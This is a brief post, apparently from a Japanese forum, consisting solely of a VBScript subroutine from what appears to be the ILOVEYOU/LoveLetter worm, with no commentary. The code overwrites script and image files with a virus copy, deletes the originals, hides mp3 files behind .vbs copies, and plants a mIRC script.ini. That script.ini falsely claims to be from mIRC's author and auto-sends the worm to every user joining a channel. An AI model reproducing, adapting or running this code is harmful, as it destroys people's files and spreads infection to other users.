2001/01/24 (水) 20:20:32        [mirai]
sub infectfiles(folderspec)
  On Error Resume Next
  dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  set f = fso.GetFolder(folderspec)
  set fc = f.Files
  for each f1 in fc
  ext=fso.GetExtensionName(f1.path)
  ext=lcase(ext)
  s=lcase(f1.name)
  if (ext="vbs") or (ext="vbe") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or
  (ext="sct") or (ext="hta") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  bname=fso.GetBaseName(f1.path)
  set cop=fso.GetFile(f1.path)
  cop.copy(folderspec&"\"&bname&".vbs")
  fso.DeleteFile(f1.path)
  elseif(ext="jpg") or (ext="jpeg") then
  set ap=fso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
  set cop=fso.GetFile(f1.path)
  cop.copy(f1.path&".vbs")
  fso.DeleteFile(f1.path)
  elseif(ext="mp3") or (ext="mp2") then
  set mp3=fso.CreateTextFile(f1.path&".vbs")
  mp3.write vbscopy
  mp3.close
  set att=fso.GetFile(f1.path)
  att.attributes=att.attributes+2
  end if
  if (eq<>folderspec) then
  if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
  (s="script.ini") or (s="mirc.hlp") then
  set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
  scriptini.WriteLine "[script]"
  scriptini.WriteLine ";mIRC Script"
  scriptini.WriteLine "; Please dont edit this script... mIRC will
  corrupt,
  if mIRC will"
  scriptini.WriteLine " corrupt... WINDOWS will affect and will not
  run correctly. thanks"
  scriptini.WriteLine ";"
  scriptini.WriteLine ";Khaled Mardam-Bey"
  scriptini.WriteLine ";http://www.mirc.com"
  scriptini.WriteLine ";"
  scriptini.WriteLine "n0=on 1:JOIN:#:{"
  scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
  scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-
  LETTER-FOR-YOU.HTM"
  scriptini.WriteLine "n3=}"
  scriptini.close
  eq=folderspec
  end if
  end if
  next
  end sub